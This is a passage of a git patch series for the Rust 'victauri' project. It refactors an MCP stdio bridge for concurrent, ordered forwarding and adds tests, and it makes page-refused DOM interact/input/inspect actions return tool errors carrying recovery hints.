- &connection, - &session_id, - &stateless, - &cached_init, - app.as_deref(), - &msg, - ) - .await - { - ForwardResult::Payloads(payloads) => write_payloads(&stdout, &payloads), - ForwardResult::Accepted => {} - ForwardResult::Unreachable(err_msg) => { - // A notification to a down backend is simply dropped (no id to answer). - if !is_notification { - write_value( - &stdout, - &json!({ - "jsonrpc": "2.0", - "id": id, - "error": { "code": -32000, "message": err_msg } - }), - ); - } + Err(_) => write_value( + &bridge.stdout, + &json!({ + "jsonrpc": "2.0", + "id": id, + "error": { + "code": -32000, + "message": format!( + "victauri bridge: {MAX_IN_FLIGHT} requests are already in flight; \ + retry when one completes" + ) } - } - } + }), + ), + }, + } +} + +/// Queue a notification / client response for the ordered one-way forwarder. +fn enqueue_one_way(one_way: &tokio::sync::mpsc::Sender, msg: Value) { + if let Err(e) = one_way.try_send(msg) { + let method = match &e { + tokio::sync::mpsc::error::TrySendError::Full(m) + | tokio::sync::mpsc::error::TrySendError::Closed(m) => m + .get("method") + .and_then(Value::as_str) + .unwrap_or("") + .to_string(), + }; + eprintln!("victauri-bridge: dropped {method}: {ONE_WAY_QUEUE} messages already queued"); + } +} + +/// Forward a notification or a client response. Nothing is ever written to the client: a +/// notification to a down backend is simply dropped, and JSON-RPC never answers a response. +async fn forward_one_way(bridge: &Bridge, msg: &Value) { + let outcome = forward_with_retries(bridge, msg).await; + if !is_client_response(msg) { + return; + } + match outcome { + ForwardResult::Accepted => {} + ForwardResult::Payloads(p) if p.is_empty() => {} + ForwardResult::Payloads(p) => eprintln!( + "victauri-bridge: backend answered a client response (not relayed): {}", + p.join(" ") + ), + ForwardResult::Unreachable(e) => { + eprintln!("victauri-bridge: could not deliver a client response: {e}"); } } +} - Ok(()) +/// The reply line(s) for one forwarded request (a request always gets at least one). +async fn handle_request(bridge: &Bridge, msg: &Value) -> Vec { + let method = msg.get("method").and_then(Value::as_str).unwrap_or(""); + let id = msg.get("id").cloned().unwrap_or(Value::Null); + match method { + // ── List methods: live when up, graceful placeholder when down ─────── + "tools/list" => match forward_when_up(bridge, msg).await { + Some(payloads) => payloads, + // App down (or a transient fetch miss): serve the full baked fallback so the agent + // still sees every tool. The live list arrives via `tools/list_changed` when the + // app comes up. + None => vec![fallback_tools_response(&id).to_string()], + }, + "resources/list" | "resources/templates/list" | "prompts/list" => { + match forward_when_up(bridge, msg).await { + Some(payloads) => payloads, + // Empty (but valid) result when down — avoids a startup error for a + // capability we advertise; the real list arrives via `list_changed`. + None => vec![empty_list_response(method, &id).to_string()], + } + } + // ── Everything else (tools/call, resources/read, …) needs a live app ─ + _ => match forward_with_retries(bridge, msg).await { + ForwardResult::Payloads(payloads) => payloads, + // `forward_with_retries` synthesizes an error for a request answered with a bare + // 202, so this is unreachable for a request; answer defensively anyway. + ForwardResult::Accepted => vec![error_for_request( + msg, + -32603, + "backend accepted the request with no response (HTTP 202)", + )], + ForwardResult::Unreachable(err_msg) => vec![error_for_request(msg, -32000, &err_msg)], + }, + } } /// Whether `msg` is a JSON-RPC request the client is waiting on a reply to: it has both a @@ -485,14 +562,14 @@ fn locked(m: &Mutex) -> std::sync::MutexGuard<'_, T> { } /// Write one JSON-RPC value as a line to the shared stdout. -fn write_value(stdout: &Arc>, v: &Value) { +fn write_value(stdout: &Mutex, v: &Value) { let mut o = locked(stdout); let _ = writeln!(o, "{v}"); let _ = o.flush(); } /// Relay already-serialized JSON-RPC payload lines (from a backend response) verbatim. -fn write_payloads(stdout: &Arc>, payloads: &[String]) { +fn write_payloads(stdout: &Mutex, payloads: &[String]) { let mut o = locked(stdout); for payload in payloads { let _ = writeln!(o, "{payload}"); @@ -501,7 +578,7 @@ fn write_payloads(stdout: &Arc>, payloads: &[String]) { } /// Emit a server→client JSON-RPC notification (no id). -fn write_notification(stdout: &Arc>, method: &str) { +fn write_notification(stdout: &Mutex, method: &str) { write_value(stdout, &json!({ "jsonrpc": "2.0", "method": method })); } @@ -602,48 +679,34 @@ fn undelivered_response_message(msg: &Value, err: &anyhow::Error, app_still_up: /// Background task that watches for the backend becoming reachable and, on a down→up /// transition, tells the client to refresh its tool/resource lists — so the baked fallback /// is replaced by the live, version-accurate set with no `/mcp` reconnect. -#[allow(clippy::too_many_arguments)] -fn spawn_availability_poller( - app: Option, - connection: Arc>>, - session_id: Arc>>, - stateless: Arc>, - backend_up: Arc, - client_ready: Arc, - stdout: Arc>, -) { +fn spawn_availability_poller(bridge: Arc) { tokio::spawn(async move { loop { // Poll fast while DOWN (a freshly-started app is noticed within ~1.5s) and back off // while UP (we only need to catch a later restart). - let interval = if backend_up.load(Ordering::Acquire) { + let interval = if bridge.backend_up.load(Ordering::Acquire) { POLL_INTERVAL_UP_MS } else { POLL_INTERVAL_MS }; tokio::time::sleep(Duration::from_millis(interval)).await; - let found = discover_one(app.as_deref()).await; - let up = found.is_some(); - if let Some(info) = found { - *locked(&connection) = Some(info); - } else { - // Backend gone — drop the cached connection/session so nothing can reuse a stale - // (port, token) pair (defense-in-depth for audit #1; the request path also - // re-resolves the trusted entry on every call). - *locked(&connection) = None; - *locked(&session_id) = None; - *locked(&stateless) = false; + let up = discover_one(bridge.app.as_deref()).await.is_some(); + if !up { + // Backend gone — drop the session so nothing can reuse it (defense-in-depth for + // audit #1; the request path also re-resolves the trusted entry on every call). + *locked(&bridge.session_id) = None; + bridge.stateless.store(false, Ordering::Release); } - // The poller is the SOLE owner of `backend_up`: the request path no longer writes it, - // so the down→up edge is detected here exactly once and can never be silently consumed - // by a tool call that happened to reconnect first. - let was = backend_up.swap(up, Ordering::AcqRel); + // The poller is the SOLE owner of `backend_up`: the request path never writes it, + // so the down→up edge is detected here exactly once and can never be silently + // consumed by a tool call that happened to reconnect first. + let was = bridge.backend_up.swap(up, Ordering::AcqRel); // Only announce a refresh once the CLIENT has finished initializing (sent // `notifications/initialized`) — a server notification before that is a lifecycle // violation a strict client may reject. - if up && !was && client_ready.load(Ordering::Acquire) { - write_notification(&stdout, "notifications/tools/list_changed"); - write_notification(&stdout, "notifications/resources/list_changed"); + if up && !was && bridge.client_ready.load(Ordering::Acquire) { + write_notification(&bridge.stdout, "notifications/tools/list_changed"); + write_notification(&bridge.stdout, "notifications/resources/list_changed"); } } }); @@ -663,44 +726,63 @@ enum ForwardResult { /// reachable; `None` when the app is down (the caller then serves a local placeholder). Delegates /// to `forward_with_retries`, which re-resolves the trusted backend itself — so a live `tools/list` /// pays exactly one discovery pass and a down one fails fast to the fallback. -#[allow(clippy::too_many_arguments)] -async fn forward_when_up( - http: &reqwest::Client, - connection: &Arc>>, - session_id: &Arc>>, - stateless: &Arc>, - cached_init: &Arc>>, - app: Option<&str>, - msg: &Value, -) -> Option> { - match forward_with_retries( - http, - connection, - session_id, - stateless, - cached_init, - app, - msg, - ) - .await - { +async fn forward_when_up(bridge: &Bridge, msg: &Value) -> Option> { + match forward_with_retries(bridge, msg).await { ForwardResult::Payloads(payloads) => Some(payloads), _ => None, } } +/// Establish the backend MCP session if we have none (first forward, or after a restart +/// invalidated it) — ONE handshake at a time: concurrent requests that all find no session +/// wait for the first one's instead of racing their own (R5B-BR5). This is what makes +/// restart-recovery work — replaying a tool call with no session would 422. +async fn ensure_backend_session(bridge: &Bridge, info: &ServerInfo) { + let needed = + || !bridge.stateless.load(Ordering::Acquire) && locked(&bridge.session_id).is_none(); + if !needed() { + return; + } + let _single_flight = bridge.handshake.lock().await; + if !needed() { + return; // another request completed the handshake while we waited + } + let init = locked(&bridge.cached_init).clone(); + let Some(init) = init else { + return; + }; + let token = info.token.as_deref(); + // We don't relay the backend handshake response to the client; it already believes it + // is initialized (we answered locally). + let Ok(out) = post_message(&bridge.http, info.port, token, None, &init).await else { + return; + }; + let backend_sid = out.session_id.clone(); + if let Some(sid) = out.session_id { + *locked(&bridge.session_id) = Some(sid); + } else if !out.stale_session { + // Handshake succeeded with no session id → stateless backend. + bridge.stateless.store(true, Ordering::Release); + } + // Complete the MCP lifecycle for a STATEFUL backend (harmless for the stateless default): + // the client's `notifications/initialized` was answered locally, so replay it to the + // backend now — a stateful rmcp session may gate tool calls on having received it. + let note = json!({"jsonrpc": "2.0", "method": "notifications/initialized"}); + let _ = post_message( + &bridge.http, + info.port, + token, + backend_sid.as_deref(), + ¬e, + ) + .await; +} + /// Forward a message to the live backend, establishing/recovering the backend session and -/// retrying across a restart. Discovers a backend first if we don't have one; returns -/// `Unreachable` (never blocks indefinitely) when no app is running. -async fn forward_with_retries( - http: &reqwest::Client, - connection: &Arc>>, - session_id: &Arc>>, - stateless: &Arc>, - cached_init: &Arc>>, - app: Option<&str>, - msg: &Value, -) -> ForwardResult { +/// retrying across a restart. Discovers a backend first; returns `Unreachable` (never blocks +/// indefinitely) when no app is running. +async fn forward_with_retries(bridge: &Bridge, msg: &Value) -> ForwardResult { + let app = bridge.app.as_deref(); // Only a request (method + id) is owed a reply; never synthesize one for a notification or // for a client response (R5-BR3). let is_notification = !expects_reply(msg); @@ -711,78 +793,35 @@ async fn forward_with_retries( // identity and yields the port and token together. Without this, after the app shut down (its // discovery entry gone) an attacker who bound the freed port would receive the cached Bearer // token and could relay forged tool results. This is ONE discovery pass (no 1s-sleep retries): - // a live app resolves fast; a down app fails fast to the actionable message / fallback. - match scan_once(app).await { - Selection::One(info) => { - *locked(connection) = Some(info); - } + // a live app resolves fast; a down app fails fast to the actionable message / fallback. The + // backend is held in a LOCAL for this forward, so concurrent forwards never see each other's. + let mut info = match scan_once(app).await { + Selection::One(info) => info, Selection::Ambiguous(labels) => { - *locked(connection) = None; return ForwardResult::Unreachable(ambiguous_message(&labels)); } - Selection::None => { - *locked(connection) = None; - // Fail-fast by design: a tool call issued in the sub-second window where a restarting - // app has removed its old discovery entry but not yet written the new one gets the - // actionable "unreachable" message rather than waiting. This is the price of the audit - // #1 rule (never reuse a cached connection); the retry loop's restart patience still - // applies once a live trusted backend is found, and the next call ~1s later succeeds. - return ForwardResult::Unreachable(unreachable_message()); - } - } - - let mut last_err = None; + // Fail-fast by design: a tool call issued in the sub-second window where a restarting + // app has removed its old discovery entry but not yet written the new one gets the + // actionable "unreachable" message rather than waiting. This is the price of the audit + // #1 rule (never reuse a cached connection); the retry loop's restart patience still + // applies once a live trusted backend is found, and the next call ~1s later succeeds. + Selection::None => return ForwardResult::Unreachable(unreachable_message()), + }; for attempt in 0..MAX_RETRIES { - // Re-establish a fresh backend session BEFORE replaying the real request when we have - // none (first forward, or after a restart invalidated it). This is what makes - // restart-recovery work — replaying a tool call with no session would 422. - if !*locked(stateless) { - let need_reinit = locked(session_id).is_none(); - if need_reinit { - let init = locked(cached_init).clone(); - if let Some(init) = init - && let Some((port, token)) = conn_parts(connection) - { - // We don't relay the backend handshake response to the client; it already - // believes it is initialized (we answered locally). - if let Ok(out) = post_message(http, port, token.as_deref(), None, &init).await { - let backend_sid = out.session_id.clone(); - if let Some(sid) = out.session_id { - *locked(session_id) = Some(sid); - } else if !out.stale_session { - // Handshake succeeded with no session id → stateless backend. - *locked(stateless) = true; - } - // Complete the MCP lifecycle for a STATEFUL backend (harmless for the - // stateless default): the client's `notifications/initialized` was - // answered locally, so replay it to the backend now — a stateful rmcp - // session may gate tool calls on having received it. - let note = json!({"jsonrpc": "2.0", "method": "notifications/initialized"}); - let _ = post_message( - http, - port, - token.as_deref(), - backend_sid.as_deref(), - ¬e, - ) - .await; - } - } - } - } - - let Some((port, token)) = conn_parts(connection) else { - return ForwardResult::Unreachable(unreachable_message()); - }; - let sid = locked(session_id).clone(); - - match post_message(http, port, token.as_deref(), sid.as_deref(), msg).await { + ensure_backend_session(bridge, &info).await; + let sid = locked(&bridge.session_id).clone(); + + match post_message( + &bridge.http, + info.port, + info.token.as_deref(), + sid.as_deref(), + msg, + ) + .await + { Ok(out) => { - if let Some(new_sid) = out.session_id { - *locked(session_id) = Some(new_sid); - } - if out.stale_session { eprintln!( "victauri-bridge: stale session (HTTP {}), re-establishing (attempt {}/{})", @@ -790,16 +829,18 @@ async fn forward_with_retries( attempt + 1, MAX_RETRIES ); - *locked(session_id) = None; + bridge.clear_session_if(sid.as_deref()); if attempt + 1 < MAX_RETRIES { tokio::time::sleep(Duration::from_millis(RETRY_DELAY_MS)).await; - if let Ok(new_conn) = discover_and_select(false, app).await { - *locked(connection) = Some(new_conn); + if let Ok(new_info) = discover_and_select(false, app).await { + info = new_info; } } - last_err = Some(format!("Victauri returned {}", out.status)); continue; } + if let Some(new_sid) = out.session_id { + *locked(&bridge.session_id) = Some(new_sid); + } if out.accepted { if is_notification { @@ -833,7 +874,7 @@ async fn forward_with_retries( attempt + 1, MAX_RETRIES ); - *locked(session_id) = None; + bridge.clear_session_if(sid.as_deref()); // A tool call that may already have REACHED the app must not be replayed: it // can have side effects (invoke_command, input, interact…), and the commonest // way to get here is a call that itself quit or restarted the app (`quit_app`) @@ -854,24 +895,19 @@ async fn forward_with_retries( .await; // Re-discover; the app may have restarted on a new port, or gone away. match discover_and_select(false, app).await { - Ok(new_conn) => { - eprintln!("victauri-bridge: reconnected to {}", new_conn.label()); - *locked(connection) = Some(new_conn); - } - Err(_) => { - *locked(connection) = None; + Ok(new_info) => { + eprintln!("victauri-bridge: reconnected to {}", new_info.label()); + info = new_info; } + Err(_) => return ForwardResult::Unreachable(unreachable_message()), } } - last_err = Some(format!("Victauri server unreachable ({e})")); - continue; } } } - // Retries exhausted — the app is down or perpetually restarting. `last_err` is logged to + // Retries exhausted — the app is down or perpetually restarting. Each failure was logged to // stderr already; the client gets the actionable remedy. - let _ = last_err; ForwardResult::Unreachable(unreachable_message()) } @@ -884,12 +920,6 @@ fn build_client() -> Result { .map_err(Into::into) } -fn conn_parts(connection: &Arc>>) -> Option<(u16, Option)> { - locked(connection) - .as_ref() - .map(|s| (s.port, s.token.clone())) -} - /// Outcome of forwarding one JSON-RPC message to the backend. struct PostOutcome { status: u16, diff --git a/crates/victauri-cli/tests/bridge_protocol_e2e.rs b/crates/victauri-cli/tests/bridge_protocol_e2e.rs index 62629462..5e748563 100644 --- a/crates/victauri-cli/tests/bridge_protocol_e2e.rs +++ b/crates/victauri-cli/tests/bridge_protocol_e2e.rs @@ -160,8 +160,15 @@ struct Backend { responses: Arc, /// Messages with neither a `method` nor a `result`/`error` that reached the backend. malformed: Arc, + /// `notifications/cancelled` that reached the backend. + cancelled: Arc, + /// `slow` tool calls that have FINISHED on the backend. + slow_done: Arc, } +/// How long the mock's `slow` tool takes. +const SLOW_CALL: Duration = Duration::from_secs(4); + async fn stateless_mcp( axum::extract::State(b): axum::extract::State, body: String, @@ -212,6 +219,14 @@ async fn stateless_mcp( .body(axum::body::Body::from_stream(body)) .unwrap() } + Some("tools/call") if v.pointer("/params/name") == Some(&json!("slow")) => { + b.tool_calls.fetch_add(1, Ordering::SeqCst); + tokio::time::sleep(SLOW_CALL).await; + b.slow_done.fetch_add(1, Ordering::SeqCst); + axum::Json(json!({"jsonrpc":"2.0","id":id, + "result":{"content":[{"type":"text","text":"slow done"}]}})) + .into_response() + } Some("tools/call") => { b.tool_calls.fetch_add(1, Ordering::SeqCst); axum::Json(json!({"jsonrpc":"2.0","id":id, @@ -219,6 +234,9 @@ async fn stateless_mcp( .into_response() } Some(m) if m.starts_with("notifications/") => { + if m == "notifications/cancelled" { + b.cancelled.fetch_add(1, Ordering::SeqCst); + } axum::http::StatusCode::ACCEPTED.into_response() } _ => axum::Json(json!({"jsonrpc":"2.0","id":id,"result":{}})).into_response(), @@ -318,17 +336,20 @@ async fn a_client_response_is_forwarded_and_never_answered() { h.send(&json!({"jsonrpc":"2.0","id":"srv-1","result":{"roots":[]}})); h.send(&json!({"jsonrpc":"2.0","id":"srv-2","error":{"code":-1,"message":"declined"}})); - // The loop handles stdin in order, so the ping's reply is the next one — unless the - // bridge answered either response. + // Responses are forwarded by the ordered one-way task, and nothing is written for them, so + // the ping's reply is the next one — unless the bridge answered either response. h.send(&json!({"jsonrpc":"2.0","id":12,"method":"ping"})); let next = h.recv_reply(); assert_eq!( next["id"], 12, "a client response must never be answered: {next}" ); - assert_eq!( - backend.responses.load(Ordering::SeqCst), - 2, + assert!( + wait_until(Duration::from_secs(10), || backend + .responses + .load(Ordering::SeqCst) + == 2) + .await, "responses are still forwarded to the backend" ); @@ -366,3 +387,82 @@ async fn a_tool_call_whose_sse_stream_dies_says_it_may_have_run() { "a possibly-executed tool call is never re-sent" ); } + +/// Poll `cond` until it holds or `within` elapses. +async fn wait_until(within: Duration, cond: impl Fn() -> bool) -> bool { + let deadline = std::time::Instant::now() + within; + while std::time::Instant::now() < deadline { + if cond() { + return true; + } + tokio::time::sleep(Duration::from_millis(50)).await; + } + cond() +} + +/// The next reply, waiting on the async runtime's blocking pool (the mock backend shares the +/// runtime, so the test thread must not block it). +async fn next_reply(h: &Arc>) -> (Value, std::time::Instant) { + let h = Arc::clone(h); + tokio::task::spawn_blocking(move || { + let r = h.lock().unwrap().recv_reply(); + (r, std::time::Instant::now()) + }) + .await + .unwrap() +} + +/// R5B-BR5: the stdio loop awaited each forward before reading the next line, so one long +/// `tools/call` (up to 330 s) stalled a `ping`, every parallel call, and the +/// `notifications/cancelled` meant to stop it. Requests now run concurrently. +#[tokio::test(flavor = "multi_thread", worker_threads = 4)] +async fn a_slow_tool_call_blocks_neither_ping_nor_cancel_nor_parallel_calls() { + let backend = Backend::default(); + let h = Harness::start(backend_routes(&backend), true, &[]).await; + let h = Arc::new(Mutex::new(h)); + let sent = std::time::Instant::now(); + { + let mut h = h.lock().unwrap(); + h.send(&json!({"jsonrpc":"2.0","id":30,"method":"tools/call", + "params":{"name":"slow","arguments":{}}})); + h.send(&json!({"jsonrpc":"2.0","id":31,"method":"tools/call", + "params":{"name":"slow","arguments":{}}})); + h.send(&json!({"jsonrpc":"2.0","id":32,"method":"ping"})); + h.send(&json!({"jsonrpc":"2.0","method":"notifications/cancelled", + "params":{"requestId":30,"reason":"user"}})); + } + + // The ping is answered at once, ahead of both slow calls. + let (ping, at) = next_reply(&h).await; + assert_eq!( + ping["id"], 32, + "ping must not queue behind a slow call: {ping}" + ); + assert!(at - sent < SLOW_CALL / 2, "ping took {:?}", at - sent); + + // The cancellation reaches the backend while the call it cancels is still running. + assert!( + wait_until(SLOW_CALL / 2, || backend.cancelled.load(Ordering::SeqCst) + == 1) + .await, + "notifications/cancelled did not reach the backend promptly" + ); + assert_eq!( + backend.slow_done.load(Ordering::SeqCst), + 0, + "the cancel must arrive while the call is in flight" + ); + + // Both slow calls ran in parallel: together they take ~one SLOW_CALL, not two. + let (a, _) = next_reply(&h).await; + let (b, done) = next_reply(&h).await; + let mut ids = [a["id"].as_i64().unwrap(), b["id"].as_i64().unwrap()]; + ids.sort_unstable(); + assert_eq!(ids, [30, 31], "{a} {b}"); + assert!( + done - sent < SLOW_CALL * 3 / 2, + "parallel calls were serialized: {:?}", + done - sent + ); + assert_eq!(backend.tool_calls.load(Ordering::SeqCst), 2); +} From 6995452d8d1697525c72fb171f11958625459022 Mon Sep 17 00:00:00 2001 From: antony Date: Wed, 30 Sep 2026 02:36:18 +1000 Subject: [PATCH 150/167] fix(tools): a page-refused interact/input/inspect/route-add is a tool error (R5B-ISERR1) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit interact, input, inspect and `route add` returned the page's `{ok:false, error, hint}` (or `{error}`) as a SUCCESS result with isError unset, so a refused click (covered, disabled, detached, ref not found) read as done unless the caller parsed the body — VictauriClient/Locator returned Ok, and the VS Code "Click element" command reported success. They now return isError with the page's message and its recovery hint in the standard `[hint: RETRY_LATER|CHECK_INPUT]` form (only an UPPER_SNAKE hint word is carried over — it is page-controlled). Array results with per-item errors (get_bounding_boxes) and results that merely contain an `error` field below the top level stay successes. Callers: victauri-test client/Locator need no change (they already map isError to TestError::ToolError; a refusal is now Err instead of a silent Ok). The demo-app adversarial stale-ref test now requires the tool error. Tool descriptions + docs/tools-reference.md document the behavior; CLI fallback manifest regenerated. Co-Authored-By: Claude Opus 5.5 (1M context) Claude-Session: https://claude.ai/code/session_015A4eZdnsnQtTqs4DPRScaM --- crates/victauri-cli/src/tools_fallback.json | 4 +- crates/victauri-plugin/src/mcp/mod.rs | 78 +++++++--- .../src/mcp/tool_result_tests.rs | 134 ++++++++++++++++++ docs/src/tools-reference.md | 7 + examples/demo-app/tests/adversarial.rs | 9 +- 5 files changed, 208 insertions(+), 24 deletions(-) diff --git a/crates/victauri-cli/src/tools_fallback.json b/crates/victauri-cli/src/tools_fallback.json index 67cd4b68..6aef3a5c 100644 --- a/crates/victauri-cli/src/tools_fallback.json +++ b/crates/victauri-cli/src/tools_fallback.json @@ -64,7 +64,7 @@ "name": "get_registry" }, { - "description": "Text and keyboard input. Actions: fill (set input value), type_text (character-by-character typing), press_key (trigger a keyboard key). Subject to privacy controls.", + "description": "Text and keyboard input. Actions: fill (set input value), type_text (character-by-character typing), press_key (trigger a keyboard key). Subject to privacy controls. An input the page refuses (element not fillable, covered, disabled, or ref not found) returns an error with the reason and a [hint: RETRY_LATER|CHECK_INPUT].", "name": "input" }, { @@ -72,7 +72,7 @@ "name": "inspect" }, { - "description": "DOM element interactions. Actions: click, double_click, hover, focus, scroll_into_view, select_option. Requires ref_id from a dom_snapshot for most actions.", + "description": "DOM element interactions. Actions: click, double_click, hover, focus, scroll_into_view, select_option. Requires ref_id from a dom_snapshot for most actions. An action the page refuses (element covered, disabled, hidden, detached, or ref not found) returns an error with the reason and a [hint: RETRY_LATER|CHECK_INPUT].", "name": "interact" }, { diff --git a/crates/victauri-plugin/src/mcp/mod.rs b/crates/victauri-plugin/src/mcp/mod.rs index d1144221..d2e581ea 100644 --- a/crates/victauri-plugin/src/mcp/mod.rs +++ b/crates/victauri-plugin/src/mcp/mod.rs @@ -1650,7 +1650,7 @@ impl VictauriMcpHandler { // ── Compound Tools ────────────────────────────────────────────────────── #[tool( - description = "DOM element interactions. Actions: click, double_click, hover, focus, scroll_into_view, select_option. Requires ref_id from a dom_snapshot for most actions.", + description = "DOM element interactions. Actions: click, double_click, hover, focus, scroll_into_view, select_option. Requires ref_id from a dom_snapshot for most actions. An action the page refuses (element covered, disabled, hidden, detached, or ref not found) returns an error with the reason and a [hint: RETRY_LATER|CHECK_INPUT].", annotations( read_only_hint = false, destructive_hint = false, @@ -1724,7 +1724,7 @@ impl VictauriMcpHandler { }; } let code = format!("return window.__VICTAURI__?.click({})", js_string(ref_id)); - self.eval_bridge(&code, params.webview_label.as_deref()) + self.eval_page_action(&code, params.webview_label.as_deref()) .await } InteractAction::DoubleClick => { @@ -1738,7 +1738,7 @@ impl VictauriMcpHandler { "return window.__VICTAURI__?.doubleClick({})", js_string(ref_id) ); - self.eval_bridge(&code, params.webview_label.as_deref()) + self.eval_page_action(&code, params.webview_label.as_deref()) .await } InteractAction::Hover => { @@ -1749,7 +1749,7 @@ impl VictauriMcpHandler { return missing_param("ref_id", "hover"); }; let code = format!("return window.__VICTAURI__?.hover({})", js_string(ref_id)); - self.eval_bridge(&code, params.webview_label.as_deref()) + self.eval_page_action(&code, params.webview_label.as_deref()) .await } InteractAction::Focus => { @@ -1763,7 +1763,7 @@ impl VictauriMcpHandler { "return window.__VICTAURI__?.focusElement({})", js_string(ref_id) ); - self.eval_bridge(&code, params.webview_label.as_deref()) + self.eval_page_action(&code, params.webview_label.as_deref()) .await } InteractAction::ScrollIntoView => { @@ -1781,7 +1781,7 @@ impl VictauriMcpHandler { let x = params.x.unwrap_or(0.0); let y = params.y.unwrap_or(0.0); let code = format!("return window.__VICTAURI__?.scrollTo({ref_arg}, {x}, {y})"); - self.eval_bridge(&code, params.webview_label.as_deref()) + self.eval_page_action(&code, params.webview_label.as_deref()) .await } InteractAction::SelectOption => { @@ -1807,14 +1807,14 @@ impl VictauriMcpHandler { js_string(ref_id), values_json ); - self.eval_bridge(&code, params.webview_label.as_deref()) + self.eval_page_action(&code, params.webview_label.as_deref()) .await } } } #[tool( - description = "Text and keyboard input. Actions: fill (set input value), type_text (character-by-character typing), press_key (trigger a keyboard key). Subject to privacy controls.", + description = "Text and keyboard input. Actions: fill (set input value), type_text (character-by-character typing), press_key (trigger a keyboard key). Subject to privacy controls. An input the page refuses (element not fillable, covered, disabled, or ref not found) returns an error with the reason and a [hint: RETRY_LATER|CHECK_INPUT].", annotations( read_only_hint = false, destructive_hint = false, @@ -1839,7 +1839,7 @@ impl VictauriMcpHandler { js_string(ref_id), js_string(value) ); - self.eval_bridge(&code, params.webview_label.as_deref()) + self.eval_page_action(&code, params.webview_label.as_deref()) .await } InputAction::TypeText => { @@ -1880,7 +1880,7 @@ impl VictauriMcpHandler { js_string(ref_id), js_string(text) ); - self.eval_bridge(&code, params.webview_label.as_deref()) + self.eval_page_action(&code, params.webview_label.as_deref()) .await } InputAction::PressKey => { @@ -1914,7 +1914,7 @@ impl VictauriMcpHandler { }; } let code = format!("return window.__VICTAURI__?.pressKey({})", js_string(key)); - self.eval_bridge(&code, params.webview_label.as_deref()) + self.eval_page_action(&code, params.webview_label.as_deref()) .await } } @@ -2528,7 +2528,7 @@ impl VictauriMcpHandler { js_string(ref_id), props_arg ); - self.eval_bridge(&code, params.webview_label.as_deref()) + self.eval_page_action(&code, params.webview_label.as_deref()) .await } InspectAction::GetBoundingBoxes => { @@ -2540,7 +2540,7 @@ impl VictauriMcpHandler { "return window.__VICTAURI__?.getBoundingBoxes([{}])", refs.join(",") ); - self.eval_bridge(&code, params.webview_label.as_deref()) + self.eval_page_action(&code, params.webview_label.as_deref()) .await } InspectAction::Highlight => { @@ -2570,7 +2570,7 @@ impl VictauriMcpHandler { color_arg, label_arg ); - self.eval_bridge(&code, params.webview_label.as_deref()) + self.eval_page_action(&code, params.webview_label.as_deref()) .await } InspectAction::ClearHighlights => { @@ -2581,21 +2581,21 @@ impl VictauriMcpHandler { { return tool_disabled("inspect.clear_highlights"); } - self.eval_bridge( + self.eval_page_action( "return window.__VICTAURI__?.clearHighlights()", params.webview_label.as_deref(), ) .await } InspectAction::AuditAccessibility => { - self.eval_bridge( + self.eval_page_action( "return window.__VICTAURI__?.auditAccessibility()", params.webview_label.as_deref(), ) .await } InspectAction::GetPerformance => { - self.eval_bridge( + self.eval_page_action( "return window.__VICTAURI__?.getPerformanceMetrics()", params.webview_label.as_deref(), ) @@ -2724,7 +2724,7 @@ impl VictauriMcpHandler { "return window.__VICTAURI__?.addRoute({})", js_string(&rule.to_string()) ); - self.eval_bridge(&code, params.webview_label.as_deref()) + self.eval_page_action(&code, params.webview_label.as_deref()) .await } RouteAction::List => { @@ -4892,6 +4892,21 @@ impl VictauriMcpHandler { } } + /// Run a page ACTION (`interact`, `input`, `inspect`, `route add`) and report a failure the + /// page returns — `{ok: false, error, hint}` or `{error}` — as a tool error carrying the + /// page's message and recovery hint. These used to come back as a SUCCESS result, so a + /// refused click (covered, disabled, ref not found) read as done unless the caller parsed + /// the body (R5B-ISERR1). + async fn eval_page_action(&self, code: &str, webview_label: Option<&str>) -> CallToolResult { + match self.eval_with_return(code, webview_label).await { + Ok(result) => match page_action_error(&result) { + Some(message) => tool_error(message), + None => CallToolResult::success(vec![ContentBlock::text(result)]), + }, + Err(e) => tool_error(e), + } + } + async fn eval_with_return( &self, code: &str, @@ -5912,6 +5927,33 @@ fn parse_expression_value(raw: &str) -> Result Option { + let value: serde_json::Value = page_json::parse_page_json(result).ok()?; + let obj = value.as_object()?; + let ok = obj.get("ok").and_then(serde_json::Value::as_bool); + let error = obj.get("error").and_then(serde_json::Value::as_str); + if ok == Some(true) || (ok.is_none() && error.is_none()) { + return None; + } + let mut message = error.map_or_else( + || format!("the page reported failure: {value}"), + str::to_string, + ); + if let Some(hint) = obj.get("hint").and_then(serde_json::Value::as_str) + && !hint.is_empty() + && hint.len() <= 32 + && hint.bytes().all(|b| b.is_ascii_uppercase() || b == b'_') + { + message.push_str(&format!("\n\n[hint: {hint}]")); + } + Some(message) +} + /// Statement keywords where a leading `return` would be a syntax error. Matched as whole words /// (followed by any non-identifier byte — `if\t(`, `const\n`, `function*` — or the end). const STMT_KEYWORDS: &[&str] = &[ diff --git a/crates/victauri-plugin/src/mcp/tool_result_tests.rs b/crates/victauri-plugin/src/mcp/tool_result_tests.rs index e09eee6e..f7d73925 100644 --- a/crates/victauri-plugin/src/mcp/tool_result_tests.rs +++ b/crates/victauri-plugin/src/mcp/tool_result_tests.rs @@ -468,3 +468,137 @@ async fn explain_diff_counts_calls_and_lists_unique_commands() { assert_eq!(r["ipc_calls_made"], 7, "{r}"); assert_eq!(r["unique_commands"], json!(["zeta", "alpha", "mid"]), "{r}"); } + +// ── R5B-ISERR1: a page-reported failure is a tool error ──────────────────────────────────── + +fn page_value(value: &serde_json::Value) -> String { + json!({"__victauri_ok": value, "__victauri_type": "value"}).to_string() +} + +/// `interact` / `input` / `inspect` / `route add` returned the page's `{ok:false, error}` (or +/// `{error}`) as a SUCCESS result, so a refused click read as done. They now come back as +/// `isError` with the page's message and recovery hint — like `find_elements` already did. +#[tokio::test] +async fn page_reported_failures_are_tool_errors() { + let refused = json!({"ok": false, "error": "element is covered by div.modal at (10,20)", + "hint": "RETRY_LATER"}); + let not_found = json!({"error": "ref not found: e9"}); + let cases = [ + ( + json!({"action": "click", "ref_id": "e9"}), + "interact", + refused.clone(), + ), + ( + json!({"action": "double_click", "ref_id": "e9"}), + "interact", + refused.clone(), + ), + ( + json!({"action": "hover", "ref_id": "e9"}), + "interact", + refused.clone(), + ), + ( + json!({"action": "focus", "ref_id": "e9"}), + "interact", + refused.clone(), + ), + ( + json!({"action": "scroll_into_view", "ref_id": "e9"}), + "interact", + refused.clone(), + ), + ( + json!({"action": "select_option", "ref_id": "e9", "value": "a"}), + "interact", + json!({"ok": false, 